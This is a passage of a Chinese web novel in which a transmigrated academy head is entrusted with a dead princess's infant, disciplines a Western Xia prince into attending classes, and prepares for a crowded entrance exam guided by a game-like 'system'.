其他人也不可能留得下一个毫无支撑的奶娃娃住在皇宫之中。 那四皇子妃目光清醒,强忍着剧痛,从床下掏出一枚玉佩外加上一封信来,塞进了岳灼华的手心中。 “去找徐常侍,他可以,帮你……” 徐常侍?那不是圣上身边的人吗? 岳灼华强掩下心里的震惊,眼见着四皇子妃额头上青筋直露,气息也越来越微薄,她来不及犹豫,只能连忙准备好剪刀、热水等物品,放到一旁,然后匆匆冒雨出去寻人。 幸而那徐常侍下值比较晚,很容易便在屋内堵到了他。 “你是……” 来不及多解释,岳灼华一把拉起他,便往外跑去。 灵活的避开所有守卫后,她带着人到了冷宫,可四皇子妃已经生产完毕,她自己给婴儿剪完了脐带,将孩子包裹在金黄色的襁褓中,放置在旁边,而自己则血肉模糊的摊在床榻上,已然没了气息。 “皇子妃!” “皇子妃!” 浓烈的血腥气,直接冲的徐常侍头脑发昏。 他打开那信封,一目十行的看着,不觉落下泪来。 “你先回去,后面的事情我已经知道怎么处理了,记住,你今日什么都没有看见,也什么都没有发生,明白吗?” 岳灼华被推离宫殿,尚且来不及思考,房门已经再次被关闭。 暴雨阵阵,在伸手不见五指的夜晚中缓缓洗刷了地上的血迹。 无人知晓今夜到底发生了多少事,只知道等到第二日的时候,太阳从云层中钻出来,一切如常。 似乎昨日的暴雨只是一场梦魇,岳灼华睡多了而产生的幻觉一般。 教养嬷嬷清晰的声音依旧响彻在耳边,她心不在焉的听着,目光却不由自主往旁边的宫殿里飘了过去。 有那小宫女们嗑着瓜子在廊下躲懒,小声吐槽着。 “今日隔壁那疯女人怎么不闹了?” “估摸着是昨夜雨太大,生了病吧。” “最好病死才好呢,天天吵啊吵啊的,烦死了。” …… 晴朗的天气,不过一日,便将地面上的水分全部蒸发完毕。 岳灼华本以为这事情便算是过去了,有徐常侍收尾,应该无人会知晓昨夜的事情,可谁料当晚,皇宫内便起了一场大火,直接将隔壁的宫殿烧的一干二净。 连带着四皇子妃、四皇子妃身边的宫女,都直接葬身在了这场火海之中。 只剩一场灰烬。 仿佛一切的开端由此打开,被拘禁中的四皇子不知道从谁那里听到了四皇子妃及其胎儿死亡的消息,顿时暴起,只凭借一个茶盏,便杀光了殿内所有的人,一路抢了马,逃出宫中,径直往北而去。 皇帝勃然大怒,严令彻查四皇子身边所有的人。 而与此事相关的宫女太监更是杀了一批又一批。 帝王之怒,流血千里,史上有唐玄宗一日杀三子,更何况一个背叛谋逆的人? 贵妃不敢在这个时候冒犯皇帝的怒火,只得匆匆暂停了六皇子选妃的事情,令人将岳灼华与冯楚陌送出了宫。 而因着四皇子妃之死,皇宫内也顿时陷入了一片寂静之中。 岳灼华和冯楚陌被放离,走出宫门口的时候,两个人对视一眼,齐齐松了一口气,如同逃过了一场大劫一般。 “但愿不要再发生什么事了。”冯楚陌由衷的说道。 岳灼华拍了拍她的手掌心,起身踏上了自家的马车内。 刚一进入,便被其内等候的人吓了一大跳。 “枢密使大人?” 她压低了声音,难以置信道。 因着西夏一事,岳灼华对齐承胤并不算太陌生,毕竟要天天看着报纸上的消息,等候童启回归的后续事宜,可她万万没有想到,这位朝中的一品大员,竟然也会是四皇子党的!而且还如此明目张胆,直接守在自己的马车中,只为了将孩子托付给她! 看着那熟悉的襁褓,岳灼华只感觉自己小脑都萎缩了。 齐大人谨慎的看了眼外面,“岳姑娘,我也是受人之托,因为欠四皇子妃一个恩情,所以不得不搅入其中。京都水太深,皇帝陛下已经起了疑心,很快就会搜查到我这里。这孩子,我留不住的。听闻你的祖父柏老如今在华夏书院内读书,我和徐常侍商量了一下,希望你能够帮忙将她送往伊川,交给童启。不求将来能够有多么富贵,只愿她永远也不知晓自己的身份,平安顺遂的度过此生,即可。” 岳灼华懵了。 她知道自己祖父在华夏书院入职的事情,可关键京都和伊川县离了多远的距离,她一个女子,要如何去送过去? 齐大人也知道为难,可是他没有办法,自四皇子叛离京都后,皇帝便疑心病大起,不仅脾气变得喜怒无常,还总是疑神疑鬼,认为四皇子仍旧有余党遍布在朝堂之中,但凡以往稍有点沾惹的,如今只怕都得重新再被查一遍。 若被发现了这个孩子,他们齐家所有人都得死! 反倒是岳姑娘,疑心最小。 不仅远离皇族,而且出身武将之家,不容易被调查。 因此只得回来求助。 岳灼华也深知这其中的道理,她想起刚刚搬到自己隔壁的华夏书院毕业生,似乎……叫做杨舟万的人。 那人她曾经在蹴鞠赛的图上见到过,应该可信。 于是——便出现了方才的事情。 且说这谢君仪接过孩子,并不敢耽搁,一路快马加鞭便前往了伊川。 谢家家主听到小厮禀告,并没在意,还以为其是回去上学,因此不作理会。 御林军的人奉命搜查,齐大人那边没有找到任何线索,便顺势排查到了这段时间进出皇宫的人。 因此岳家、冯家也被连带着搜查了一番,包括其附近的邻里,都找了一遍,实在没有任何可疑的,这才回去复命。 整个京城因为四皇子的叛离闹得沸沸扬扬,而皇帝高坐在龙椅上,也愈加难以琢磨起秉性来。 他日渐老去,可手下的孩子们却正在缓缓崛起,这令他感到十分不安。 只觉有什么东西缓缓从手中流失出去。 大皇子、大皇子妃因为令人关闭四皇子妃宫门的事情而受到了责骂,即便这命令,皇帝当初也知晓,甚至很大程度上,就是他的授意。 可如今,也全将这罪过推到了其他人身上- 伊川县内,童启正坐在宿舍楼里和系统争论着装修模版的事情。 新开出来的大礼堂和宿舍楼还是令人满意的,室内体育馆精致的如同现代酒店,也勉强可用,但那些开出来的其他装修模版,就未免让他有些想要吐槽了。 鬼知道系统都是从哪里搜罗到的奇怪东西,之前操场用【古罗马斗兽场】也就算了,新食堂抽出来的【爱死亡与机器人】又是什么鬼? 他试探着在3d面板上更换了一下,差点没被闪了腰。 只见到赛博朋克一般的钢铁笼罩成的食堂,各种地方花花闪闪充斥在角落里的霓虹灯,低饱和度像是没有点光一般,阴森十足,自动机器人穿梭行驶在食堂内,全自动运行,就连点餐都是完完全全的线上虚拟模式,破旧的餐桌餐椅,残留着血色的油漆,像是什么无人询问的废旧工厂一般。 他要是敢把这个给搞出来,只怕所有学生都得吓死,san值狂掉。 童启竭力争辩着,控诉这些模版纯粹骗人没有任何价值,系统却突然开口提醒道。 “检测到外部威胁人员,非书院人士正在试图进入中……” 非书院人士? 童启打开摄像头看了一眼,发现竟然是谢君仪站在门口,怀里还抱着个不知道是什么的东西。 因为书院放假,所以院内所有的安保人员他也给了好几日的假期,暂时没有人能够开门,童启只得亲自去给他打开阻拦的闸口,询问道。 “你怎么这么早回来了?书院还没开学呢……” 话音未落,谢君仪一把将怀里的婴儿塞到了童启的怀中,目光兴奋又激动。 “山长,齐大人和徐常侍托我把皇子给你偷出来了!说是让你抚养。” 童启:??? 第84章 第84章新生开学 再没有比这更荒唐的事情了。 四皇子托孤,最后托的竟然是童启 要知道,他可是压根没见过这位啊!而且对方谋逆被发现的那本账册,最初经手的第一个人,其实就是他!若不是他递给顾知府,借刀杀人的话,四皇子也许也没那么快暴露自己的想法……四皇子妃也就…… 不过那些假设都并不成立,如今的事实就是,这孩子已经被千里迢迢送了过来。 童启无论是养,还是不养,都不可能再送回去了。 毕竟孩子娘已经死了,爹又刚刚叛了国。 孽缘,妥妥的孽缘。 他焦灼的挠了挠头,只感觉收下了一个烫手山芋一般,而且,最麻烦的不是突然多出来的孩子,而是这孩子的性别,竟然是个女孩子。 没错,四皇子妃拼死生下的,并不是皇子,而是位公主! ——这也许就是为什么齐大人等冒着“教养新皇”的大饼不吃,却心甘情愿让给童启捡漏的真正原因吧。 毕竟女孩又不可能当皇帝。 这辈子被培养的再厉害,充其量也就是个嫁点好人的命了。 可他要如何向其他人解释呢?他们这可是全男书院啊!(不包括医科) 而且童启今年也不过才十二岁,又不可能突然冒出个孩子来! 满头杂绪,令人焦头烂额,无法处理。 但这些先放后放一放,而今最关键的,还是这孩子的健康问题。 刚生下来,又是被喂迷药,又是被抱着长途跋涉的赶路,一口水没喝,一口饭没喂。说实话,能活着睁开眼见到童启,都已经是一件十分幸运的事情了。 医科大楼内。 两人抱着孩子,小心翼翼的交给张小娘子检查。 对方满脸严肃,眉头紧皱。 “这孩子应该是不足月就生下来的,分娩时估计又遭了惊,在娘胎里憋得时间过久,所以脑袋有点被压住了,后续还不知道能不能长好,她营养不良,再加上天生有点弱症,只怕不好抚养,需得人细细的照顾着。许久没给她进食了吧?孩子都饿坏了!怎么也不知道喂点水?居然还用迷药捂着?不知道迷药对孩子的脑袋伤害性非常大吗?幸亏送过来的及时,不然再晚一些,恐怕就要被折腾死了!” 一声比一声尖锐的质疑,令童启忍不住后撤一步,默默看向旁边的谢君仪。 谢君仪:??? 这也怪我? 我又没养过孩子,怎么能注意的到这些? 再说了,他一路奔波,唯恐被人逮住,肾上腺素都已经飙到最高值了,哪里还记得怀里的东西是个活得啊,只知道让她别醒过来哭闹,吸引来官兵就是,所以干脆便一直用迷药晕着了…… 不然咋办? 他摆摆手,一脸茫然,张小娘子长叹一口气,心疼的不行,忙轻手轻脚给孩子先换了尿布,解了迷药,再观察看看有没有什么其他的毛病。 谁料那女孩一醒,顿时扯着嗓子哇哇哭了起来。 声量之大,如同洪钟一般,震得几人头皮发麻。 谢君仪无语的调侃道,“张小娘子,您确定这孩子,是天生弱症?” 听听这嘹亮而有力的声音吧,简直比他还要中气十足!! 到底谁才有弱症啊? 张小娘子也没有料到孩子会哭的这么大声,半恼的抬手打了他一掌,道,“你知道什么,孩子这准是饿坏了!还不快去找些羊奶来?” 她将那婴儿抱进怀中轻声哄着,可不论怎么摇晃,都不管用。 不到两分钟,孩子已经哭的满脸通红,上不来气,脸颊皱巴巴挤作一团,分外难看。即便谢君仪找过来了羊奶,递到她嘴边,可对方却已经不管不顾,继续扯着嗓子嘶喊哭嚎。 “姑奶奶欸,你到底是想干啥,有什么话就说,是饿了?还是想如厕?” 谢君仪无奈的问道,换他来抱,仍旧不行。 眼看着快要哭的撅过去,童启没办法,只得试探着接过,用手轻拍着。 说来也奇,这孩子仿佛自带着什么buff一般,似知道书院里真正掌权的人是谁。 一进入童启怀中,便立刻停止了哭声。 抽抽噎噎着,瘪着小嘴,泪眼朦胧的看着他,死死拉着衣角不松手,就像是什么小鸟归巢,找到了自己专属的安全地界般。 “咦,奇了。换我试试?” 谢君仪再次伸手接过,哭声再次开启。 递回到童启怀中,又停下。 这么反复几次,张小娘子简直被气的不行,直伸出手拍打着他的肩膀,骂道,“走走走,这个年纪的孩子那是给你玩儿的吗?还不快点喂她些吃的?” 两个大男人这才反应过来,手忙脚乱的舀起羊奶喂过去。 对方嗷呜一口,直接吞下。 一勺又一勺,刚进肚子便又急急的张开了嘴,没控制之下,转眼便直接吃了整整一大碗,仍觉不够,巴巴张着嘴,似雏鸟乞食,看的人心软软。 还是童启记起来,婴儿好像一次性不能吃太多,否则会吐奶之类的,这才停下了投喂。 “多餐少食,等两三个时辰之后再给吧。”他说道。 谢君仪遗憾的放下勺子。 许是感觉到没有食物了,孩子砸吧砸吧嘴,再次睡了过去。 安静的样子就如同团成团的小猫一般,可爱十足,半点不淘神。 所有人看的啧啧称奇。 童启小心翼翼将其放在木床上,也没有惊醒其半分。 他犹豫了一下,终究还是选择把这个孩子留在了书院里。 对于他来说,即便理智叫嚣着这要冷静,可眼睁睁看着一个孩童因为父母的身份而被牺牲,终究还是难以做到视若无睹。 反正他们书院里有秘密的人多了去了,也不差这一个。 留就留吧,大不了以后对外就说是关门弟子,有着这孩子作为压轴,他的徒弟也算得上是真正意义上的什么阶层都有了。 童启将知晓此事的人全封了口,现编了个身世,就说是自己师门里送过来的。 与道家有缘。 家乡原本住在陈塘关,父母皆亡,所以才来到了这里。 对外则统称是姓赵,交由张小娘子和王厨娘、王小花等共同照顾。 日子久了,大家也多少察觉出这孩子的一点神异来。 不仅聪颖机灵,非常好养活,饭量更是大的惊人,每天基本上除了吃就是睡,饿了醒了尿了,便哼唧两声,懂事听话的很。唯独有一点不好,便是认人,必得童山长每日亲自抱一抱,或者贴一贴才肯放心,不然长时间见不着,便会闹得哭声震天响,连饭也不吃。 童启是既神奇又觉得讶异。 自己难道是有什么吸引小孩子的磁场吗?怎么这么多孩子都喜欢跟他贴近? 弟弟童淳每日已经够黏他了,妹妹童颖刚学会认人不久,跟童母待得时间最长,却还是唯独最喜欢他。每次见到他,都眼睛亮晶晶的,一蹦一蹦,学会的第一句话不是爹娘,却是哥哥。 他蹲在床榻前,伸出手,感受着指尖上小孩子皮肤特有的细腻感,最近刚刚被养出来的脸颊肉,随着平稳的呼吸一鼓一鼓的,分外可爱。 这孩子还没有名字。 按理说应该是父母取,可父母都不在,只能他暂时代替了。 想起历史上原本存在的靖康耻,随着朝代的更替,应该已经不会再出现了,可岳将军的那首《满江红》,却振聋发聩,犹在耳边,一直是童启最爱的一首词。 既然是皇家的后代,而且又作为顶替原本历史人物的存在。 那么…… “以后,你就叫做赵天阙吧。待从头,收拾旧山河,朝天阙!” 童启沉思着,替其定下了这三个字。 希望她能够继承历史上大佬的遗志,不再让悲剧重演,切切实实守护住这片土地与江山。 立于苍穹之下,无愧于俯仰之间。 书院里其他人在听到这名字后,都觉有意义颇重,怕她一个女孩子,会压不下来。 可但凡只要叫出这个名字,那婴儿便像是知道在叫她似的,顿时扭过了头,直直的盯着别人。 眼见着孩子自己都同意了,渐渐也没有人再说什么了。 赵天阙就这么被叫了下来,而书院里也多了一个童山长的小徒弟。 京都。 杨舟万与岳灼华因着御林军搜查的事情,着实胆战心惊了好几日,见始终没有人怀疑华夏书院,更没联想到他们身上,这才渐渐放下了心。 伴随着元宵节的到来,华夏书院的年礼也被赠了回来,而与礼物一同的,还有一束干枯的兰草。 杨舟万知晓这是山长收到人的回应,悄然收下,照常上值。 而岳灼华那边则因为兰草还代表着守贞之意,着实解释了许久,才令岳父勉强相信不过是有人误夹带了其中,别无他意。 风波渐平。 华夏书院的开学季再次开启。 这一次回来的学生们刚一入校,便被完整无遮拦的书院建筑群给妥妥震撼到了。 五开间的悬山顶门楼,青砖灰瓦,朱漆大门上悬挂着“华夏书院”四个大字,金漆匾额,大气磅礴。绕过前厅,一个古色古香的半月形拱桥,其下池塘红鲤环绕,两侧的教学楼和办公楼相对而立,高耸精致。从左数,依次是校长的办公楼、先生们的办公楼、食堂、宿舍、操场、藏书阁,而从右数,则是医务室、医科大楼、新开出来的大礼堂、室内体育馆、后山等地。 整整齐齐,错落有致,简约与精致相结合,别有一股独特的韵味。 学生们见状都乐疯了,纷纷举手想要进入新的建筑里观摩,而柳三变和谢君仪等人则仗着与王小花关系好,早翻了墙过去,被带领着溜溜达达转了好几圈,呆够了,才不依不舍的走了回来。 新的一年,注定新的开始。 华夏书院招生简章一被贴出,还未及考试时间,便已然有不少人往此地赶来。 这一次,触及到的范围极大,而波动到的阶层也极多。 唯一一个免试录取的保送生,也在辞别了父母之后,千里迢迢往伊川县赶来。 一路上快马加鞭,欣喜的就像是饿极了的狼奔往羊群中一般。 因着发型特殊,李元昊路上也曾被人频频吸引回眸询问。 但对方一听其乃是西夏人,便立即换了一种神色,介于厌恶与仇恨之间,不肯再多说一句话。甚至有那嘴欠的还要低声骂几句蛮夷,气的李元昊屡次拔刀,若不是被护卫死死劝住,只怕就要一路砍杀过去。 甫一到达华夏书院,对方便立刻奔向了童启那边,脸色依旧是一副气哄哄的表情,凶狠的,就如同应激中的狼崽子。 第85章 第85章驯养狼崽 “童启!你说话不算数!你骗我!明明说了只要我来上学,这里的人肯定会欢迎我的,实际上呢?他们都恨不得我去死!我一路上都快要被骂死了,啊啊啊我不管,你必须赔我五包,不,十包泡面才行!否则,我立马就回去,让你们大奉朝统统完蛋!” 炮弹一般的小牛犊直接怼到童启身前,将他撞得后退几步,才勉强稳住了身形。 可旁边的学子们却因为这话语中的恶意,纷纷神色一冷。 就连安保队的人都忍不住摸向了腰间的武器,一脸敌视的看着他,仿佛下一秒便要杀了他,为战友们报仇。 紧随其后的西夏护卫忙紧张的用生涩的汉语转圜道,“童山长!我们奉王的命令,前来护送王子上学,贵国的皇帝可是亲口承诺过的,会保障我们王子的所有安全,好生教养,若出了问题,我们西夏王室绝不会善罢甘休的!” 童启笑眯眯的用手顶住了李元昊的脑袋,说道,“您放心,我们书院一向奉行的因材施教,我保证,定会将小王子照顾的好好的,绝不会有任何的性命危机。” 说罢,他当着西夏护卫们的面,直接叫过来旁边的继本叔,将李元昊打包扔给了他。 “先带着他卸卸力,不要怕,只要别打脸,别打脑子,其他随便。” 不顾李元昊啊啊啊的喊叫声,童继本一把将其抱起来,扛到了操场上。 而西夏人则目瞪口呆,眼睁睁看着自己的小王子就这么被架离,瞬间僵硬在了原地。 “诸位人已送到,还有事吗?”童启眨巴眨巴眼,乖巧的问道。 几个人忙摇摇头,一步三迟疑的离开了沧澜山。 边走边脑子里做着思想斗争。 确定他们真的可以走吗? 小王子留在这里,确定不会受欺负吧? 可想起李元昊在西夏的混世魔王生活,几个人也觉得不太可能,因此大采购一番,没怎么留,就原路回了西夏。 什么样的人,什么样的教法。 童启可不觉得李元昊是那种乖巧听话的人。对方历史记载里就是暴戾贪婪的性子,越是客客气气,他便越是嚣张跋扈,对于这种熊孩子,童启就一招——揍!死命的揍! 直到揍到听话为止! 什么现代教育不得体罚学生?现在可是古代!大奉朝!奉行“玉不琢不成器,人不学,不知义”的时代,像是打手板、体罚那都是很正常的事情,只有武力,才能解决这熊孩子根深蒂固的观念问题,将他给硬掰过来,否则的话,前期根本就无法正常对话。 果然,靠着三天一小打,五天一大打的节奏,李元昊从震怒、骂骂咧咧、试图攻击同窗、焚烧整座书院,到渐渐知道闭嘴,被迫平和下来、委屈巴巴、思考着怎么逃出去,不过只用了半个月的适应期。 原本他以为自己是来这里享福当祖宗的,可谁知,这所书院竟然成为了囚困他的牢笼。 高墙电网不说,进出更是被守得死死的,比他们的军营还要严密。 李元昊跑了整个书院每一个角落,都没有找到出去的方法,叫天天不应,叫地地不灵,每天醒来就是念书,跟继本叔对打,被死虐一番,然后再读书。 他被童启安排到了学前班,可因为是西夏人,班里所有的孩子都不跟他说话,即便下了课,也是如同孤立般,将他隔离起来,目光警惕又排斥。 不到一个月,李元昊已经生生被磨掉了大半性子。 春光乍暖,落日黄昏。 他委委屈屈坐在操场上,可怜巴巴的掉着眼泪,手里还拿着一个刚刚拆封的卤蛋,一边吃一边控诉。 “呜呜呜,都欺负我,我不要再在这里待下去了,他们这些臭虫,就应该全部杀了去做京观!故意的,那个童启肯定是故意的,我父王说的对,他们就是把我诓骗过来,然后作为人质,想要在打仗的时候把我杀了祭旗,呜呜呜,我真的好惨啊……” 童启听着他喋喋不休的抱怨声,差点忍不住笑出声来。 没想到向来没有哭过的小娃娃,竟然会就这么哭出来,他温柔的坐下在李元昊的旁边,将怀中的手帕递了过去。 李元昊瞥了一眼,傲娇的瘪着嘴,抽抽噎噎的不理他。 童启笑着摇摇头,这才耐着性子跟他讲起来。 “你说我们排挤你?那你有没有想过为什么会是这个样子的呢?若我真的想杀你,早在西夏的时候就可以动手了,得一时骂名,成千载功绩,也很值得啊。” 轻飘飘的话语,听的李元昊忍不住瞪大了眼睛。 可童启却并不在乎,他循循善诱道。 “李元昊,你有没有想过,如果我们真的像你父王说的那样,只是为了将你当作人质,等待战争开始时,杀了祭旗,那你父王又为什么要千里迢迢,将你送过来呢?” 对哦,为什么? 我可是我父王唯一的儿子呀! 李元昊顺着对方的话语思考着,疑惑的眨巴眨巴眼。 “其实我们人类一开始并不是现在的这个模样,最初始时,人类与野兽无异,茹毛饮血,采饮浆果,连火种都不会保存。可渐渐的,有人发现了工具,有人发现了火,人类开始扎堆聚集,组成部落,互相照顾,结亲联姻,成为家庭。到后来,有人学会种植,有人学会如何跑得更快,用更方便的武器去猎捕更大更凶的猎物,于是阶层被区分开,更强更厉害的人,渐渐掌握了部落里的话语权,国家,也由此形成。” “低等的文明总是崇尚高等的文明,这是毋庸置疑的事实,而世界永远在向前发展着,人们本能的崇拜那些将日子过的更稳定,更幸福的群体,也想学会对方为什么能够过成那个样子。这,就是你父王不惜冒着风险,将你送到我们书院,学习大奉朝文化的原因。” 毕竟连文字都没有的种族,一切的习性都是模仿他人。 所缺少的不只是粮食,更有着思维上的碾压。 李元昊若有所思,手里吃剩的半颗卤蛋掉落在地上都没有察觉,显然早已经听进去了,他继续问道。 “可我和他们都不一样,就算是学习,那些先生们肯定也不会教给我好东西!而且……他们都排挤我,不愿意和我说话。” “你确定是他们排挤你,而不是你一个人,排挤所有人?”童启笑着问道。 这一个月,他一直潜在观察着学前班里的氛围,不同于二年级、一年级很多人的三观都已经固定成型,孩子们大多都年纪小,喜恶也全凭本性。你不理我,那我就也不理你,不见得是因为身份,更多的,还是隐隐的自尊心小别扭。 他叹了口气,道,“元昊啊,你和我们没什么不同,都是一个鼻子两个眼睛,黑色的头发,健康的四肢。老实说,中原文化发展到今日,凭借的可不仅仅是汉族的一家独大,还有着很多不同的思想兼收并蓄,你听说过佛教吗?它也不是咱们本土的呀,可现在不还是被吸纳了进来,成为了咱们大奉朝的文化之一?” “华夏文明有魅力便有魅力在此,它具有强大的包容性,允许一切存在被融会贯通。你觉得大家不接受你,可你又真正把自己看作了是他们之中的一员吗?到现在,你都没有叫过我山长,你有把自己当作华夏书院的学生吗?还是仍旧是西夏那个无法无天,毫不尊重其他人的纨绔小王子呢?” 李元昊心虚的瘪瘪嘴不说话了,他一把接过童启手中的帕子,狠狠的将鼻涕抹在了上面,又本能的将其装进了自己兜中,并没有还回去。 很长一段时间,那手帕都成为了李元昊的私人用品。 也被他屡次三番作为“山长最爱自己的”证明,得瑟给其他同窗们。 看吧?山长就是在乎我,不然也不可能大老远跑西夏去收我为徒,而且还如此用心给我讲授其中的道理!就连贴身手帕都给了我! 不知道李元昊心中的腹诽,见人被哄住了,童启这才笑着伸出手,揉了揉对方的脑袋,令他回食堂吃晚饭去。 成天的啃零食,这回头要是出了毛病,可不得找他的问题吗? 别说,圆乎乎的脑袋,还挺好摸。 有着童启的安抚,李元昊渐渐在华夏书院里适应下来。 当然,除了童启,很大程度上他留下的原因,还是因为食堂里那可口的饭菜与零食。所有菜里,他最喜欢的一道便是炙烤羊排,但可惜的是,这道菜食堂里一个月也不过才只做一次,而且数量有限,经常抢 不到。 急得他好几次找到王厨娘那里,询问是什么原因,得知是羊肉稀缺后,更是直接给家里写了好几封信,让父王送点羊肉过来。 不过几个羊罢了,哪里就那么麻烦了? 千里迢迢接收到信的西夏王:…… 许是思想得到了改观,李元昊不再带着有色眼镜去看班里的同窗们,破天荒的第一次在早自习中,和自己的同桌说上了话。 “这个字怎么念?” 他双腿紧张的抖动着,鼓起勇气问道。 童庆安一脸惊异,瞥了一眼后,完整的将整个句子念了一遍。 “你来得晚,很多课都差下了,如果跟不上的话,可以跟清虚子先生先学一遍拼音,那是我们山长自己研发出来的帮助学前班的孩子认字用的,非常方便!” 见到童庆安性格温柔,并无轻视的意思,李元昊不由松了口气,追问道。 “我必须得跟清虚子……先生学吗?跟你学不可以吗?” 童庆安惊讶的眨眨眼,“我不是先生,但如果你不嫌弃的话……” “不嫌弃,你先教我一遍,若我还不会,再去问先生!” 两个孩子你来我往,不知不觉间便亲近了起来。 投桃报李,午饭时,李元昊甚至满脸肉痛的将自己餐盘内的卤蛋分给了他一颗,以示分享。 旁边的人惊讶的眼睛都快要掉下来了,而童庆安即便并不怎么喜欢卤蛋,可看着对方纠结艰难的模样,也不由笑着收了下来。 一来一回,李元昊逐渐融入了学前班中。 后期即使有说不上话或者表达不对的地方,也有着童庆安乖乖帮着解释转圜,如同一个翻译官般平衡着他与华夏书院学子之间的关系。 第86章 第86章都卷疯了 河南府官道。 一辆古朴雅致的马车上,正坐着一老一少两个人。 年老的那位,白发白须,广袖长衫,看起来估摸着有六十多岁的样子,而年轻的则束着手脚,坐在马车前赶着车,一副武夫打扮。 “爷爷,我还是不明白,咱们文昌书院读的好好的,为什么非要千里迢迢往华夏书院去啊?不就是念书吗?在哪里读,不都一样?有何区别?” 车厢内的老人专注的看着手里的华夏书院校刊,头也未抬,道。 “你懂什么?战场上杀十人,主将给你报一人,与战场杀一人,主将给你报一人,不都是杀人、建功,有何区别?” “那当然区别大了!”少年顿时扭过身子,控诉道,“杀一人,我只需用一成力,可杀十人,我得用十成力啊!” “这就对了,人的名树的影,文人靠的是什么?” 那少年想了想,“才学?” 身后人抬手敲在他的脑袋上,道,“是名气!自古以来天下有才的文人多了去,比如那潘阆,比如那祖莹,可你看看他们,有用吗?再厉害也不及谢眺、潘美等人名气的一半!文人要靠捧,只要有人愿意捧,他周围的机会就会比其他大儒多得多。像咱们这种出身特殊的,只走常路是不行的,必须得兵行险招!那童启一个素人,连举人都没考上,却被奉为龙图阁直学士,还能受命教养西夏小王子,这说明什么?说明在皇上心中早已经给他挂了号,再有才学背景的人,都不如皇帝心中的位置,只要对方能够记住那么一星半点,以后他的前程就绝不会少!你,如今缺的便是这把火,若能考上华夏书院,那么这把火便能够顺利被点燃了。” 少年若有所思,两个人一老一少,晃悠悠往伊川县而去。 而同样的南方,也有两个士子正刚刚从自己的书院里叛逃出来,往伊川县而去。 “完了,咱们斋长这一次肯定会生气的,他花了那么多钱想要咱们帮他的儿子写代卷,若得知人跑了,钱也没了,肯定会派人来抓咱们的!” “怕的就是他们不来呢!人家华夏书院背后可是有三皇子撑腰,他们算什么东西?也就在南方有点势力罢了,只要咱们跑出来,考中了华夏书院,难不成还怕他们不成” “可若没考上呢?” 对面的士子没有回答,他十分自信,才不信自己会考不上。 去年的华夏书院录取名额,他早就看了很多遍了,最厉害的郭胜开,当时入校时也不过就是个童生罢了,而他们俩可已经有了秀才的功名,离乡试就差临门一脚,就不信那童启会不收! 若是有人此刻能够用俯视的眼光查看大奉朝。 就会发现,各类人才在悄然往伊川县快速汇聚,而在真正的招生考试前一周,所有伊川县内的房子便已经全部被租赁出去了,就连沧澜山脚下的民户,也被人住的满满当当,毫无空余。 有不少人甚至打听了童启常去的酒楼、店铺,日日在那门口转悠,只为偶遇。 穿粗布衣衫的,着锦衣绸缎的,骑高头大马的,还有刚学会走路不久,牙牙学语的……花样的人群与阶层,令伊川县的章县令都看得叹为观止。 他高坐在衙门里,拍了拍新师爷的肩膀问道。 “你说,这华夏书院招新,不过才三十多个名额,怎么搞得阵仗像是比咱们县试还要大?那要是等吴韧他们八月份,连乡试也全中了的话,明年招新,岂不是要更加可怕?” 新师爷一边帮着批阅公文,一边头也不抬的吐槽道。 “您放心,不用明年,就今年这架势就已经比咱们县试规模要厉害了,毕竟咱们只是考童生,而他们参赛的,可是连举人都有了。” 章县令闻言瞬间瞪大了眼睛。 因为城门出入的统计一直是师爷帮忙处理,所以他这些日子压根不知道县城里都来了什么样的人。 如今听到有举人,只觉恍然。 上一次他们伊川县有举人,还是王举人在的时候,那个时候,对方几乎以一己之力垄断了整个伊川县的教学,足见举人在小小县城里的含金量。 而这华夏书院才开了几年啊? 竟然就有举人自己上赶着来求学了? 震惊!离谱!匪夷所思! 别说外人了,就连华夏书院内的其他先生们也感到一阵阵的不可思议。 因着书院内建筑的全部解锁,这一次,童启并没有让应考的学生进入书院内部,而是让他们沿着医科书院的大门,直接去大礼堂内备考。 新开的大礼堂,内里装潢与现代的电影院十分相似。 只除了没有大屏幕与硕大的悬挂式音箱,其他并无差别。成排的红色绒布座椅,呈阶梯状延伸出去,一眼望不到尽头,隔音效果极其好,灯一打开,烁亮如白昼般,正中间,一个十平米左右的舞台被留出,放置着标有【华夏书院】徽章模样的演讲台,而背后,则是漆黑的上下可推卸两块大黑板。 童启贴心的给每个座椅上,安装了活动面板,可容纳超过一千人。 足够备考使用了。 而为了不干扰其他学生们的正常活动,二年级、一年级的学生们暂时被发往后山温室大棚内,学习种植实践课,医科学院的学子们则暂时被安置进了教学楼三层,进行统一的文化知识补习。 潘阆与柏老、曹老等人查看着今年所有报名参与招新的名单,感叹不已。 “开封钱家,幽州吕氏、吴郡的陆氏,还有去年刚考上新科状元的王翰林之子王楚川?豁,今年来的这些人都有些厉害啊?” 童启不知道是捅了世家的窝还是怎么,今年的学子们含世家率高的出奇。 从童生到举人,那是应有尽有,从文的到武的,也花样百出。 知道的,说他们看得起童启,不知道的,还以为他们是看中童启如今有了虚衔,简在帝心,所以故意送过来蹭蹭名气,抱大腿的呢。 刚如此想着,系统突然上线道。 【叮,恭喜达成有利可图成就,华夏书院占地面积扩大至2200亩,请宿主继续努力!】 童启:……果然。 他就知道。 还未来得及吐槽,系统紧跟着说道。 【叮,触发支线任务:人生伯乐。请筛选出本届应考生中最适合华夏书院特招生岗位的五名学生吧!(0/5) 成功:奖励高阶抽奖券一张 失败:无惩罚】 高阶抽奖券?! 满腹的言语瞬间憋了回去,童启眼睛瞬间亮了起来,不由追问道。 “什么叫做特招生?我怎么不知道书院里有这个岗位?等等,你的意思是,这批学生里除了正常参加科举的学生,还有五个人,是特殊的,不走科举道路,但是却属于我桃李满天下领域里应收的学生,对不对?” 系统停顿两秒,无语的点了点头。 “百花齐放,百家争鸣,咱们走的是成名的路子,自然需要广撒网,多捉鱼!上次回主系统空间,001曾提醒过我,既然你已经开始招收医科的学生了,那不妨就把胆子放大一些,说不定试试其他领域的人,也可以得到更高的声望值,更改原本既定的……” “既定的什么?”童启眨眨眼,不明所以。 可系统却神神秘秘,如同说漏了嘴似的猛地闭上了嘴巴。 它含糊道,“反正各个领域都沾点,总能遇到好的,你就找吧,能找到就算是你与他有缘。” 找不到的话,那就是历史暂时不允许你更改这一部分。 童启茫然的挠了挠头,没有太听懂这段意思,不过他明白的是,只要能收到五个特殊人才,那自己就能获得一张高阶抽奖券,那可是超出本时空页面的东西啊! 拼了!- 就在华夏书院轰轰烈烈进行着招生活动时,京城里,与此同时,也正在发生着一件刀光剑影般的攻击事件。 冯御史将市面上所有的小报倾倒在朝堂的地面上,愤而骂道。 